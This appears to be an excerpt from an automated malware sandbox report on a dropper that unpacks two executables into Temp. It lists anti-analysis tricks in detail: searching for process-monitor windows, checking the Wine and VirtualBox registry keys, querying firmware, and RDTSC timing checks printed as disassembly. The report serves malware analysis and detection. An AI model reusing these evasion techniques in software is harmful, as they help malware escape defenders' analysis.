Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: w23Vg439U1.exe

Static file information: File size 1835008 > 1048576

Source: w23Vg439U1.exe

Static PE information: Raw size of pbhclupd is bigger than: 0x100000 < 0x197a00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 3OJIEMQOE0U9W5K609DU0.exe, 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Unpacked PE file: 3.2.3OJIEMQOE0U9W5K609DU0.exe.2a0000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Unpacked PE file: 4.2.O4784SI9RJ8L8V71YQA7V.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20
Source: w23Vg439U1.exe	Static PE information: real checksum: 0x1c3e0b should be: 0x1cf121

Source: w23Vg439U1.exe	Static PE information: section name:
Source: w23Vg439U1.exe	Static PE information: section name: .idata
Source: w23Vg439U1.exe	Static PE information: section name:
Source: w23Vg439U1.exe	Static PE information: section name: pbhclupd
Source: w23Vg439U1.exe	Static PE information: section name: hkwyikci
Source: w23Vg439U1.exe	Static PE information: section name: .taggant
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name:
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name: .idata
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name: brdofphe
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name: pzoalvov
Source: 3OJIEMQOE0U9W5K609DU0.exe.0.dr	Static PE information: section name: .taggant
Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name:
Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name: .idata
Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name: ynqricro
Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name: wjlvyldl
Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0171697B push 5C3A433Bh; retf	0_3_01716980
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0171C368 push 680171C3h; ret	0_3_0171C36D
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016FD468 push ebx; retf	0_3_016FD469
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016FD14C push cs; retf	0_3_016FD14E
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016FC15F push edx; retf	0_3_016FC160
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016FDD56 push ds; iretd	0_3_016FDD73
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016FCBAF pushfd ; retf	0_3_016FCBB0
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0171697B push 5C3A433Bh; retf	0_3_01716980
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016B6AE9 pushfd ; ret	0_3_016B6AEA
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016B6AE9 pushfd ; ret	0_3_016B6AEA
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016ACF66 push 00000001h; iretd	0_3_016ACF68
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_016ACF66 push 00000001h; iretd	0_3_016ACF68
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169C364 pushad ; ret	0_3_0169C365
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169C364 pushad ; ret	0_3_0169C365
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F4C8 pushad ; iretd	0_3_0169F4D9
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F548 push edx; iretd	0_3_0169F549
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F53B push edx; iretd	0_3_0169F549
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F54B push esi; iretd	0_3_0169F569
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F54B push esi; iretd	0_3_0169F569
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F7C2 push es; iretd	0_3_0169F7E9
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F728 push ds; iretd	0_3_0169F729
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F72B push ss; iretd	0_3_0169F769
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F72B push ss; iretd	0_3_0169F769
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F338 pushfd ; iretd	0_3_0169F339
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F32B pushfd ; iretd	0_3_0169F339
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F798 push cs; iretd	0_3_0169F7A9
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169F78A push cs; iretd	0_3_0169F7A9
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169C31D pushad ; ret	0_3_0169C361
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169C31D pushad ; ret	0_3_0169C361
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0168CD20 pushad ; retf	0_3_0168CD21
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Code function: 0_3_0169C364 pushad ; ret	0_3_0169C365

Source: w23Vg439U1.exe	Static PE information: section name: entropy: 7.979559418564364
Source: w23Vg439U1.exe	Static PE information: section name: pbhclupd entropy: 7.9548690606727686

Source: C:\Users\user\Desktop\w23Vg439U1.exe	File created: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe			Jump to dropped file
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File created: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\w23Vg439U1.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 3384AD second address: 3384B7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F716557DC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B4FAE second address: 4B4FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F716511B496h 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B4FBF second address: 4B4FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F716557DC85h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B4FDA second address: 4B4FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B5718 second address: 4B573D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F716557DC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F716557DC88h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B585A second address: 4B5864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F716511B496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B882D second address: 4B883B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B883B second address: 4B886F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jmp 00007F716511B4A7h 0x0000000d push 00000000h 0x0000000f push 7A6BE271h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F716511B49Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B886F second address: 4B88BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F716557DC76h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 7A6BE2F1h 0x00000013 jmp 00007F716557DC83h 0x00000018 mov dword ptr [ebp+122D31DBh], edi 0x0000001e push 00000003h 0x00000020 mov di, cx 0x00000023 push 00000000h 0x00000025 mov dl, bl 0x00000027 push 00000003h 0x00000029 mov dword ptr [ebp+122D2BADh], esi 0x0000002f call 00007F716557DC79h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push esi 0x00000038 pop esi 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B88BC second address: 4B88C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B88C1 second address: 4B8904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F716557DC7Dh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a pop edx 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e pushad 0x0000001f jl 00007F716557DC76h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jnc 00007F716557DC76h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B8904 second address: 4B8908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B8908 second address: 4B8963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F716557DC82h 0x00000010 pop eax 0x00000011 xor dword ptr [ebp+122D21DBh], edx 0x00000017 lea ebx, dword ptr [ebp+12454731h] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F716557DC78h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D1A0Ch], edi 0x0000003d xchg eax, ebx 0x0000003e jbe 00007F716557DC80h 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B8963 second address: 4B8974 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F716511B498h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4B8B36 second address: 4B8B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F716557DC76h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d ja 00007F716557DC7Eh 0x00000013 nop 0x00000014 or dword ptr [ebp+122D3216h], edx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F716557DC78h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D2BA1h], eax 0x0000003c mov dh, F9h 0x0000003e push 7A3D7EB5h 0x00000043 push eax 0x00000044 push edx 0x00000045 push edx 0x00000046 jmp 00007F716557DC7Eh 0x0000004b pop edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D6090 second address: 4D6096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D6096 second address: 4D609A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D61F2 second address: 4D6202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007F716511B496h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D678E second address: 4D67A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F716557DC76h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D67A0 second address: 4D67AA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F716511B496h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D67AA second address: 4D67B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D701F second address: 4D703A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F716511B4A5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D703A second address: 4D7040 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D7040 second address: 4D7046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D7046 second address: 4D704B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4CF424 second address: 4CF42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4CF42A second address: 4CF430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D7194 second address: 4D71B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F716511B4A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4D7786 second address: 4D778A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AFCAD second address: 4AFCEF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F716511B49Bh 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F716511B49Bh 0x00000017 pop edi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c jmp 00007F716511B4A8h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AFCEF second address: 4AFD03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F716557DC7Fh 0x0000000a rdtsc
